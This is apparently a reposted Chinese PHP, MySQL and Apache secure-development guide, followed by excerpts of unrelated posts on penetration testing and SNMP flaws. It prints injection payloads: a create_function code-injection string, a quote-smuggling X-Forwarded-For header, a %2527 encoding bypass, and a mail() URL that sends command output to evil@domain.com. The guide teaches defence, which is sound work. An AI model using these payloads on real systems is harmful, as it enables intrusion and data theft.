      这里还要说一些,SQL除了改变逻辑,非法操作数据库,如果权限设置不当,可以造成跨库查询,或利用mysql自身函数直接读取服务器文件内容,甚至直接写入文件。比如当前帐户被赋予了mysql file权限,那可以利用load_file()读取文件内容,也可以使用into outfile将查询结果导出为文件。

     

      其他数据库与MYSQL大同小异,但由于多句执行和丰富的存储过程,导致攻击更为灵活,但是SQL注射攻击都需要污染进入语句结构的变量,所以解决方案来说变得就非常统一:

     

    整形变量 -> 整形检测

    字符型变量 -> 过滤单引号,转义单引号

     

    2.1.8.    内容输出
     不管程序内部流程的实现是多么错综复杂,都有一个最终的目的,就是做内容的输出与录入,这时会进入一个后台处理与前台内容安全(政治、色情等)的一个交界点,浏览器端的攻击,也是互联网上讨论火热的XSS(跨站脚本攻击)。

     

      这种攻击的目标不是服务器,而是站点的用户,通过污染页面输出内容,注入html或javascript代码,控制客户端浏览器的一些敏感对象,比如document内的cookie,窃取到类似客户端身份认证信息,攻击者就可以对该用户进行劫持,而不需用户名及密码即可成功登陆。除了认证劫持,还可以利用ajax技术,在用户浏览器上直接发送合法的数据包(已当前用户身份),在用户毫不之情的情况下替代用户进行一些"合法"操作,比如偷偷的让你的微博关注一个用户,甚至发一篇微博。

     

      由XSS引申出了很多变异攻击,比如CSRF,Worm,XSRF等等,但无异于都是利用客户端浏览器对目标站点具有的权限进行攻击,本质还是因为我们的程序在进行内容输入、输出时没有对html标签,js行为进行检测和过滤。

     

      富文本安全的对抗至今仍在继续,如不采取白名单形式(允许什么标签?允许什么属性?允许什么协议?允许什么事件?),将会变成一场没有结果战争,只能说越来越完善,但总会有方式可以绕过,互联网上有海量的资料,这里不在详细说明,来看一些对抗XSS导致的会话劫持于请求伪造防御的关键点:
     

    (1)  HTTPONLY

    将cookie的传递限制于http协议,本地脚本无权获取

    (2)  Domain / Path

    设定cookie的作用域/路径

    (3)  Secure

    为了安全将登陆程序采取ssl加密形式,该选项会限制https访问时才能从浏览器传递到服务器

    (4)  Token

    使得表单不可预测,防止CSRF类攻击

    (5)  Referer

    检查请求的来源信息是否为站内

    (6)  Crossdomain.xml

    禁止设置allow-access-from domain为"*",这样黑客无法使用flash跨域获取信息

     

    其他详细内容情参考第四章节.

     

      XSS攻击必读资料:

    http://ha.ckers.org/xss.html

    http://baike.baidu.com/view/2161269.htm

    http://baike.baidu.com/view/1609487.htm

     

    2.1.9.    二次攻击

      看一段貌似安全的代码:

    if($type =="msn"){

    $cmd ="/usr/local/bin/perl msn.pl ".escapeshellarg($user)."".escapeshellarg($pass);

            exec($cmd, $data);
     

      escapeshellarg会将参数限制在一对单引号里,然后转义参数中所含有的单引号,这样就无法对当前执行进行截断,将参数安全处理后交给了msn.pl。

     

      但是msn.pl接收到参数的流程是这样:

    my $username = $ARGV[0];

    my $password = $ARGV[1];

    $clientcmd =~s/\n//g;

    $outcontent =`$clientcmd $username $password $protocal $dir 0 2>>/dev/null`;
     

      pl脚本里又进行了一次执行"`command`",但是这次$username原封不动的进入了执行流程,一个命令执行漏洞出现了。至于开发人员在写程序时到底是用escapeshellcmd还是escapeshellarg呢?也许这段代码的输出能给你一个合适的答案:

    echo 'cat ' .escapeshellcmd('foo;bar');

    echo"\n";

    echo 'cat ' .escapeshellarg('foo;bar');
    输出:

    cat foo\;bar

    cat 'foo;bar'


      可以得出结论,escapeshellcmd注重过滤,escapeshellarg注重形态,PHP更希望能开发人员能根据实际情况来选择,像msn.pl这个例子,既然没到exec的最后一层,escapeshellarg的使用就是个败笔 。

     

      在看另一个例子:

    $foo =substr($_GET['foo'], 0,1);

    $sql ="SELECT table FROM database WHERE foo = '$foo' andbar='".$_GET['bar']."'";

    提交foo='asd&bar=+or+1=1/* SQL语句就变成了这样,SELECT table FROM database WHERE foo = '\' and bar='or 1=1/*'

    这样变量就巧妙的借助魔法引号污染掉了正常SQL语句。

     

      二次攻击的很多特性与安全机制冲突很像,或者他们就是一类问题,都是因为变量经过处理后的形态传递到下一个流程时触发的安全漏洞。

     

    2.2.       PHP自身安全隐患

    2.2.1.    全局变量

      对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order左边的覆盖右边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯。

     

    例如:

    if($auth ==true){

            echo "hello , admin";

            ... ...

    }else{

            exit("no logon");

    }

     

    如果register_globals开启的话,我们在客户端提交login.php? GLOBALS[auth]=1,就绕过了认证,全局变量带来的安全问题较为古老,因为从PHP4.2.0开始默认为OFF,感兴趣的同事可自行搜索了解细节。

     

    2.2.2.    魔法引号

      当magic_quote_GPC为on时,所有用户输入(GPC=GET,POST,COOKIE)的数据中如果含有但引号,双引号,NULL子元,反斜线时,都会在前面加入一个反斜线使其失去意义,这本是一个很好的全局安全选项。

     

      它在PHP4.0时代还保护其他变量获取方式,比如SERVER,ENV,SESSION。但是在5.0时代,魔法引号去掉了以上变量的保护,如果开发人员继续按照4.0时代的方式来使用魔法引号,可能会出现安全漏洞,最简单的测试方式:

    print_r(urldecode($_SERVER['QUERY_STRING']));

    提交abc'abc[abc']=abc',回显也是abc'abc[abc']=abc',没有任何转义行为。

     

      在比如discuz曾经出现的一次由于魔术引号导致的安全漏洞:

    } elseif(getenv('HTTP_X_FORWARDED_FOR')&& strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
    $onlineip = getenv('HTTP_X_FORWARDED_FOR');

    ……

    $db->query("Update{$tablepre}members SET lastip='$onlineip', lastvisit=lastactivity,lastactivity='$timestamp' $oltimeadd Where uid='$discuz_uid'",'UNBUFFERED');

      提交的http头里只要带上X-Forwarded-For: Hack',就可以触发漏洞,单引号被带入SQL执行。

     

      最后, 数组key在魔法引号的处理下会因为php版本问题而出现不同的结果,如果注意不当,也是会造成严重的安全漏洞。

      在魔术引号开启的情况下,并且php版本为4和小于5.2.1的版本的时候,不处理数组第一维变量的key,php代码:

    print_r($_GET);

      提交x.php? 1'[2']=someone',打印GET数组,会发现输出是这样,Array ( [1'] => Array ([2\'] => someone\' ) ),第一维变量的key没有受到魔法引号的保护。

     

    2.2.3.    代码注入 && 执行

      看一段漏洞代码:

    $sort_by=$_GET['sort_by'];

    $sorter='strnatcasecmp';

    $databases=array('test','test');
    $sort_function = 'return 1 * ' . $sorter . '($a["' . $sort_by .'"], $b["' . $sort_by . '"]);';

    usort($databases, create_function('$a, $b',$sort_function));


      创建了一个自定义函数,接收$databases里两个元素,然后对其进行比较结果乘以1。这里可控的变量是sort_by,直接污染了自定义函数,提交sort_by="].phpinfo().die().$b[",就可以修改原由函数达到代码执行目的。

     

      当然,代码注入 && 执行漏洞都是由于函数本身所提供的功能,类似的还有assert('phpinfo()');,eval('phpinfo();');,call_user_func('phpinfo','1');,preg_replace("/test/e","phpinfo()","test");等。

     

       一旦污染的变量进入到了这些函数重要的参数里面,就会引发严重的代码注入漏洞,而且现在很多webshell为了逃避检测,也用类似方式来执行代码。

    参考资料:http://www.securityfocus.com/archive/1/496552/30/0/threaded

     

    2.2.4.    编码、解码

    PHP提供了很多内置的encode和decode函数,此类函数多数会作用在处理用户提交变量的过程中,所以如果我们的过滤机制在变量经过编码之后而没有解码,就有可能绕过安全过滤。

     

    比如:

    $sql ="select foo from bar where name = " .urldecode($_GET['name']);

    如果name=%2527,将会绕过绝大部分安全机制(包括魔法引号)。

    此类值得注意的函数有base64_encode,urlencode,iconv,addslashes等。

     

    2.2.5.    安全机制绕过漏洞

      像一些PHP自身的安全机制,比如safe_mode,open_basedir等的绕过问题一直层出不穷,开发人员也要做到了解自己的开发语言,比如4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
     

    <?mail("foo@bar,"foo","bar","",$bar); ?>

    执行如下的URL:

    http://foo.com/evil.php?bar=;/usr/bin/id|mailevil@domain.com
     

    这将id执行的结果发送给evil@domain.com。

     

     

      可以经常关注以下PHP的changelog查看近期以及历史上PHP出过的一些漏洞信息:

    http://php.net/ChangeLog-5.php
    http://php.net/ChangeLog-4.php

     

    2.2.6.    PHP函数缓冲区溢出

      其实PHP函数漏洞不是那么可怕。因为利用条件是苛刻的。它要求Web应用有使用到存在漏洞的函数,而且这个函数的输入能够被用户所控制。这样下来条件就比较少了。
      其实还有其他条件,就是能够稳定利用,因为现代OS都是有很多防溢出的功能的,比如ASLR,DEP,NX等等 。

    注意:“内存信息泄露”不是“内存泄露”,后者只能让应用挂掉,而“内存信息泄露”则是能够读出内存的地址,从而稳定的溢出利用。

      一定要明确,PHP漏洞不等于Web Server漏洞,而且PHP是由Webserver执行的,所以就算溢出成功,得到的也只有webserver权限。

      我们经常听说的缓冲区溢出漏洞多数都在探讨远程利用的,本地溢出多数用来做限制突破,权限提升等作用。

      但同样的,PHP函数溢出也可以本地利用,可以用于绕过safemode。就是说,自己写个php文件丢到server上,request一次执行一下,触发漏洞利用函数,从而执行shellcode。 shellcode功能就很多了,执行任意命令、绑定端口、反连。

     

      总之,PHP函数漏洞,是需要找对应的Web应用的,核心条件就是该函数的输入能够被用户控制。


    推荐相关信息参考站点:

    http://www.php-security.org/

     

    2.3.       PHP安全配置

    PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

     

     如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

     

    如果还有其他的PHP_INI_USER,PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

    # grep PHP_INI_/PHP_SRC/main/main.c

     

    2.3.1.    Safe_mode

     safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

    safe_mode = On

    或者修改httpd.conf,定义目录:

    <Directory /var/www>

    Options FollowSymLinks

    php_admin_value safe_mode 1

    </Directory>

    重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。

     

    所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

    <?include("index.html")?>

    几个文件的属性如下:

    # ls -la

    total 13

    drwxr-xr-x 2 root root 104 Jul 20 01:25.

    drwxr-xr-x 16 root root 384 Jul 1812:02 ..

    -rw-r--r-- 1 root root 4110 Oct 26 2002index.html

    -rw-r--r-- 1 www-data www-data 41 Jul19 19:14 test.php

     

    在浏览器请求test.php会提示出错。如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

     

    如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:safe_mode_gid = On

     

    设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:safe_mode_exec_dir =/usr/local/php/exec

     

     然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

     

    safe_mode_include_dir string

     当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。 从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。 指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir =/dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir =/dir/incl/”。

     

    safe_mode_allowed_env_vars string

     设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

    注:如果本指令为空,PHP 将使用户可以修改任何环境变量!

     

    safe_mode_protected_env_vars string

     本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

     

    虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

     

    2.3.2.    Disable_functions

      如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(同类函数还有disable_classes,进行类的禁用),比如:disable_functions= phpinfo, get_cfg_var

     

      可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处(系统调用类函数比如exec,system,passthru等也是关键disable对象)。

     

    2.3.3.    Open_basedir

      很多开发人员都知道用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说 "open_basedir = /data1/sina" 也会允许访问 "/data1/include" 和 "/data1/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。

    例如:"open_basedir = /data1 /sina/"。

     

      可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

     

    2.3.4.    警告及错误信息

      PHP默认显示所有的警告及错误信息:

    error_reporting= E_ALL & ~E_NOTICE

    display_errors= On

      在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。

     

      正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

     

      修改php.ini中关于Error handling and logging部分内容:

    error_reporting= E_ALL

    display_errors= Off

    log_errors =On

    error_log =/usr/local/apache/logs/php_error.log

     

      然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让 web用户可写。

     

    3. MYSQL安全隐患

    3.1.       数据库帐号及存取

      很多数据库管理员都把数据库密码设置成非常简单,比如顺序数字等,很容易就被猜出来。另外数据库的存取没有做任何限制,容易给攻击者提供可乘之机,通过任意一台机器就可以采用各种方法来攻击数据库服务器,获取密码。

     

      原则上密码设置要:字符和数字混用,长度不少于8个,最好每3月能更换一次。然后对每个帐号都设置存取访问的IP限制,保证只有指定机器能通过此帐号来访问数据库。

     

    3.2.       数据库连接权限

    此处参考 2.1.7 处的内容,需要注意的几点:

    (1)禁止root用户连接,并赋予root用户强壮的密码

     

    (2)非特殊情况禁止数据库远程连接

     

    (3)关闭user表中用户的File_priv全局文件权限(或加参数--local-infile=0启动mysql)

     

    (4)创建数据库用户的时候(比如GRANT)要注意赋予的操作权限以及帐户所属库

     

    4. 身份认证信息安全隐患

    4.1.       CookieVS SESSION

      Cookie和session的选择是一个老生常谈的问题了,从安全角度来讲,session永远是第一选择,因为单独使用cookie做认证的话,cookie中保存着用户身份关键信息,而这份信息是保存在客户端的,这样对于认证程序来说,只要客户端提交的认证信息正确,程序就肯定了该客户端的身份。

     

      而且代码中会有一些从cookie获取变量的行为,此类行为又是开发人员很容易忽略的地方,所以等于又给程序的安全带来了一定的安全隐患。

     

      但是session仅仅给客户端一段id值,客户端拿这个id来服务器验证,服务器根据这个ID取出对应的session内容进行内部判断,整个过程都是在服务器端进行的,所以对于我们来说是可靠的。

     

    4.2.       Cookie种植隐患

      在php编写安全隐患中我们提到了cookie种植的几个安全选项,这里再次详细说明一下,在这之前我们看一下现在的种植方案:

     

    SUE=es%3D17f89c256de075dce131e1b4832e6484%26ev%3Dv0;path=/;domain=.sina.com.cn;Httponly

    这段cookie中的几个关键部分:
    (1) Path 设置了cookie作用路径为根,但是该属性是有继承性质的,也就是说这种设置方案所有目录都可以读取该cookie

     

    (2) domain 设置了cookie作用域,注意第一个字节是个. 则代表 全新浪域*.sina.com.cn下都可读取该cookie

     

    (3) httponly 指定该cookie只有http通信才可进行读取,xss攻击使用document.cookie是无法取到该cookie的

     

    在看一段cookie理想种植:
    Set-Cookie: LSID=DQAAAKYAAAD4GTn73TWw5raE96UQyqdbMZqPg-z7JZ_01RnP2uIL6A1dBT1MH1DMK7EbF3GdRXfZeDmRG1-aALW_U3mSiBCwqS1fgh9ohVdfHhkYNx3MQ5QJyqs239wyiLou9uHJNWy4ERcXasY_Ux6BCPsHwZ0cZR2f2gkcM0hVTiAPQwg68XJJKwA5xeNS3BhYR4O00rqiGKlm9ggepH7SOnYX4IU2r7QNd3EAZAqicWW7oBnBlg;Path=/accounts;Expires=Mon,04-Jan-2021 12:43:53 GMT;Secure;HttpOnly

    首先这个cookie的线上验证程序使用了SSL加密,也就是https协议进行传输,在看一下其他的安全考虑:

    (1)  path 设置了该cookie只能被/accounts目录下的程序读取

     

    (2)  Expires 设置了该cookie的过期时间

     

    (3)  Secure 设置了该cookie只有在https协议下才可以被读取

     

    (4)  httponly 指定该cookie只有http通信才可进行读取

     

      两段cookie的种植机制分析完毕,其实第二段就是google采用的种植手段,这样根据上面的设置,能读取到cookie的区域就只是https://www.google.com/accounts/,路径下的程序才能读取,如果攻击者想窃取这段cookie的话,很遗憾,除非能在https://www.google.com/accounts/,下面放一段web脚本,这样认证风险就被很好的控制住了。

      我们的cookie种植后,根据设置,能读取到该cookie的程序路径为新浪所有域下的所有目录中的程序,虽然设置了httponly,但只要这下面任何一个域名,应用被黑客放入脚本,即可进行cookie的窃取(使用xss等技术让用户强行请求一次他的恶意脚本地址即可)。

     

      两段cookie的种植优缺点也分析完毕,其实我们的开发人员在绞尽脑汁思考富文本安全的时候,不妨谨慎的对cookie进行种植,在问题的根本上就可能有效的杜绝大部分攻击。
     

    4.3.       身份认证保护手段

      XSS中最古老最有效的攻击手段就是窃取用户的cookie,如果缺少了上面提到的一些种植保护,那根据我们这样海量的产品线,攻击者想获得用户的cookie是轻而易举的,得到认证信息后,攻击者会修改本地的cookie记录,然后访问新浪的产品,自然而然他就变成了该用户,因为通过了验证,所以他就拥有了该用户帐户的所有控制权。

     

      即使通过了验证,用户可能还不是用户,就像小偷进了一间屋子,但这不代表这就是他家这个原理。所以我们不能仅仅验证用户名密码、验证客户端cookie后就确认了用户身份,还需要一些其他的手段。

     

    4.3.1.      二次密码验证

      如果修改密码的地方不需要旧口令,或者口令保存在一个hidden的表单内,那cookie劫持后黑客就可以修改用户的口令了

      所以一些敏感内容的修改、查看,一定要在进行一次口令验证,因为cookie劫持仅仅是泄露了登陆凭证,但是登陆口令攻击者是不知道的。

     

    4.3.2.      登陆凭证绑定

      黑客进行cookie劫持时,已经算的上是一种异地登陆情况了(不同IP,不同浏览器),如果我们有将客户端ip,浏览器agent信息加密保存,认证的时候进行检测,很容易就能发现是不是真正的用户了。

      当以上信息与我们存储的信息发生差异时,就重新登陆验证。

     

    4.3.3.      一次性票据

      我们看电影会知道,这次的电影票下次是用不了的,为什么?因为他是一次性质的。如果我们把验证信息分为两种,一部分是获取票据的A,一个是换取到的B,每次验证时都会跳到一个安全的地方(A的种植必须严格)用A换取B,然后B去换取该应用的认证cookie,最后B自行失效。

      这样即使cookie泄露,也只影响单一的应用,不会波及其他产品线。

     

    4.3.4.      密码取回

      用户帐户的非法攻击不局限于cookie,安全人员会知道,密码永远是第一道门,所以黑客有时也会利用用户的失误而走一些捷径,这个捷径就是密码取回机制。

      这个地方不需要弄的太复杂,只要认清一点,经常登陆的用户也就是活跃用户,是不会忘记自己密码的,自然就不会用到密码取回功能,那谁会用呢?黑客!

      所以我们就可以设定一个阀值,几天内登陆过的用户不能使用密码取回功能。

     

    4.3.5.      登录用户名/uid保护

      登陆名和昵称是两个截然不同的东西,不是说形态或是功能,而是对于用户帐号安全的重大意义,黑客在页面上选择了攻击目标后,其实看到的只有昵称,但是昵称不是登陆凭据,所以黑客即使有了密码没有登陆用户名一样是无法登陆用户帐号的。

      和登陆用户名一样重要的还有用户ID,不过用户id很难从程序流程中彻底排除掉,但从正常的用户使用角度来看,没人会记得自己的那一长串id,所以,登陆过程和密码取回过程中禁止使用id做凭据。

     

     

    4.3.6.      异常行为检测

      用户的cookie被劫持、用户口令泄露导致的帐户非法登陆,以及大批量的扫号行为等等,都有个共性,就是行为异常,总体来说有以下异常表现 :

     

    (1)异地登陆

    (2)大量错误登陆

    (3)大量正常登陆

    (4)大量修改密码

     

      发现异常行为要根据用户ip变化,同ip及操作数量阀值来综合判断。

     

    4.3.7.      双因素认证机制

      目前为止用户的登陆因素就是用户名和密码,一旦泄露就无安全可言,而用户名密码在多年的安全洗礼中依然显得及其脆弱,所以我们需要在加入一个token验证机制,这个token可能来自于短信、手机应用、硬件口令卡,此类安全保障程度要远远高于传统的用户密码这种形式。

     

    5. 项目设计安全策略

    5.1.       恰当的错误返回机制

      如果程序失败了要保证程序能够正常终止,在出错提示中包含尽量少的信息,绝对不能包含任何系统信息,配置信息等错误信息。全部给出一个例如"服务器忙请稍候再试"的统一错误信息。

     

      登陆错误提示信息全部一样,不要显示"不存在该用户"或"密码不对"这样的提示,防止利用错误提示获取用户名列表。统一给出"用户名或密码错误"的错误提示。

     

      设计一个统一的Apache错误页面,来替换现在的401 403 404 500等pache自带的错误页面,让所有的错误返回的信息都完全一样,因为提交页面返回的错误信息可以给入侵者提供丰富的信息,例如探测后台管理目录时,如果返回的是403错误,就说明该目录存在。

     

    5.2.       恰当的用户登陆策略

    5.2.1.      前台用户系统登陆策略

    密码连续三次输入错误就需要输入验证码,如果发现目标来自相同IP,可以考虑将IP进行封锁一定时间(此IP登陆任何帐号都需要验证码),防止暴力破解用户密码。

     

    5.2.2.      后台用户系统登陆策略

     

    (1)    所有后台管理系统应该只允许公司内网IP登陆。

    (2)  所有后台管理系统用户登陆应该使用动态口令认证(RSA SecurID或者手机认证)。信息安全部门提供有动态认证的接口和代码,包括radius和web api两种接口。需要时,请联系信息安全部门获取(可拨打5666)。

    (3)  对于实在无法时用动态口令认证的后台管理系统,程序需强制要求:

    a.       用户密码六位或六位以上

    b.       密码超过40天没有修改就自动冻结帐户,登陆时强制用户修改密码,并不能和上次密码一样

    c.       登陆时使用验证码

     

    (4)  建议:

    a.    用户登陆成功时提示上次登陆IP和登陆时间,如果上次登陆IP和本次登陆IP不同则提示用户

    b.     如果有密码输入错误记录,用户登陆成功后提示用户上次密

    码输入错误时间和连续输入错误次数及尝试用错误密码登陆的IP

     

    5.3.       日志分析功能

      所有的系统事件和用户行为必须留下详细的记录,时间、对象、来源、事件类型、事件描述、状态代码等都是有意义的记录。

     

    (1)  分级的事件记录测量

    (2)  全面的系统事件日志

    (3)  用户登录、退出日志

    (4)  定期的日志分析及报告生成

    (5)  监控和报警(对于异常的事件和攻击事件进行报警)

     

    5.4.       访问控制策略

      我们有这许许多多的系统,系统又有着各自的后台应用,它们的访问问题是一个需要注意的地方,这种地方都需要对公网访问进行屏蔽,只开放操作ip的访问权限。

      如果后台使用者存在大量公司外部兼职或合作人员,那只需开放几个vpn ip的访问权限,然后一律要求此类人员登陆新浪vpn进行登陆工作,并且限制此类人员帐号的访问权限。

     

    6. 环境配置安全策略

    6.1.       Apache配置安全隐患

    6.1.1.      Apache限制文件访问

      由于系统管理员的疏忽,把一些重要的文件放在了一些自认为合理的位置,根本没有考虑到去访问安全问题,造成了安全隐患。这样给攻击者造成可乘之机,能访问到非公开文档和页面,造成部分源码或文档泄密。

     

      解决办法就是在apache配置某些类型文件是不可访问的。

     

      在apache配置文件httpd.conf中增加禁止访问.tar.gz类型的文件的配置。

    <FilesMatch  "\.tar.gz$">

       Order Allow,Deny

       Deny from All

       Satisfy All

    </FilesMatch>

     

    6.1.2.    禁止Apache显示目录结构

    Apache有些配置失误,在浏览请求非缺省主页时(index.html),就会返回详细的目录结构,造成目录下的文件结构泄露。

     

    这种问题的配置情况应该是如下这个样子:

    <Directory /data0/www/htdocs/log >

        OptionsIndexes FollowSymLinks

        AllowOverrideNone

        Order allow,deny

        Allow from all

    </Directory>

     

    Indexes 的作用就是当该目录下没有 index.html 文件时,就显示目录结构,去掉 Indexes,Apache 就不会显示该目录的列表了。

     

    Options FollowSymLinks

     

    6.1.3.    限制Apache目录访问

      攻击者能访问到公开目录下只给内部人员需要通过internet浏览的目录。造成统计数据或者其他文档的泄密。

     

    (1)在apache配置文件httpd.conf中增加限制访问此类目录的配置。用户需通过密码认证才能进入这些目录。如:

     

    <directory/data0/www/htdocs/log>

    Allowoverrideauthconfig

    OptionsIndexes FollowSymLinks

    orderallow,deny

    allow fromall

    </directory>

     

    (2) 然后要加验证的目录下加入.htaccess文件.内容如下:

    AuthUser File/etc/.passwd #此文件后面用htpasswd建立和修改

    Authnameusername #此名称你可以根据需要而更改

    AuthTypeBasic

    <LimitGET>   # GET 要全部大写

      require valid-user

    </Limit>

     

    (3) 建立用户密码文件

    htpasswd -c/etc/.passwd username #创建文件并加入帐号username

    然后输入两次密码

     

    (4)重启apache

     

    6.2.       重要系统命令读写执行权限

      一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。

     

    6.3.       去掉apache日志及其它文件读写权限

      apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。

     

      如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

    来源:http://lib.csdn.net/article/php/51119

    展开全文
    lengye7 2019-04-16 15:33:50
  • 高级渗透测试服务(黑盒测试):指在客户授权许可的情况下,资深安全专家将通过模拟黑客攻击的方式,在没有网站代码和服务器权限的情况下,对企业的在线平台进行全方位渗透入侵测试,来评估企业业务平台和服务器系统...

    一、了解渗透测试

    渗透测试:在取得客户授权的情况下,通过模拟黑客攻击来对客户的整个信息系统进行全面的漏洞查找,分析、利用。最后给出完整的渗透报告和问题解决方案。
    高级渗透测试服务(黑盒测试):指在客户授权许可的情况下,资深安全专家将通过模拟黑客攻击的方式,在没有网站代码和服务器权限的情况下,对企业的在线平台进行全方位渗透入侵测试,来评估企业业务平台和服务器系统的安全性。

    二、什么类型的安全风险需要进行渗透测试

    当存在下面这些风险时,渗透测试显得尤为必要:
    ①企业及网站存在机密资料外泄、用户资料外泄的担忧
    ②用户开发完毕的新系统平台需要上线
    ③开发过程中系统需要进行局部安全测试
    ④业务系统存在交易业务逻辑问题(如金融类系统)

    三、渗透测试相关标准

    《信息安全技术 信息安全风险评估规范》 GB/T 20984-2007
    《信息安全技术 信息系统安全等级保护基本要求》GB/T 22239-2008
    《信息安全技术 安全漏洞等级划分指南》GB/T 30279-2013

    四、渗透工具

    工具名称工具描述
    漏洞扫描系统漏洞扫描
    Nessus漏洞扫描
    Metasploit漏洞利用
    Superscan端口扫描
    Solarwindssnmp发现
    hscan口令探测
    PangolinSQL注入工具
    WVSWeb扫描工具

    五、安全建议

    ①定期进行网站系统进行风险评估。
    ②针对安全评估结果协调开发团队或厂商进行有效的安全整改和修复。
    ③配备专业的WEB应用防火墙,针对来自互联网的主流WEB应用安全攻击进行安全防护。
    ④ 建立和完善一套有效的安全管理制度,对信息系统的日常维护和使用进行规范。
    ⑤建立起一套完善有效的应急响应预案和流程,并定期进行应急演练,一旦发现发生任何异常状况可及时进行处理和恢复,有效避免网站业务中断带来损失。
    ⑥定期对相关管理人员和技术人员进行安全培训,提高安全技术能力和实际操作能力。

    展开全文
    qq_29914837 2018-09-29 22:28:47
  • OUSPG通过将特定测试集运用于多种厂商的相关产品,发现SNMP代理和SNMP管理站在处理Trap消息和其他请求消息方面存在安全隐患,可能会引发服务中断、DoS攻击或非法获取设备访问权限。 鉴于目前互联网络中主要使用...

    简单网络管理协议SNMP主要针对TCP/IP网络提出,和WWW、SMTP和FTP一样,它工作于TCP/IP模型的应用层。随着Internet的迅速发展,SNMP也成为事实上的网络管理协议,在互联网骨干设备和绝大多数厂商的网络产品中得到广泛采用。这既取决于TCP/IP 协议的主导地位,也决定于SNMP协议自身的简单易行。

    最近,计算机紧急反应小组协调中心(CERT/CC)指出,在许多产品的SNMPv1实施中都存在安全隐患。该报告主要根据挪威Oulu大学的安全编程小组(OUSPG)的测试结果提出。OUSPG通过将特定测试集运用于多种厂商的相关产品,发现SNMP代理和SNMP管理站在处理Trap消息和其他请求消息方面存在安全隐患,可能会引发服务中断、DoS攻击或非法获取设备访问权限。

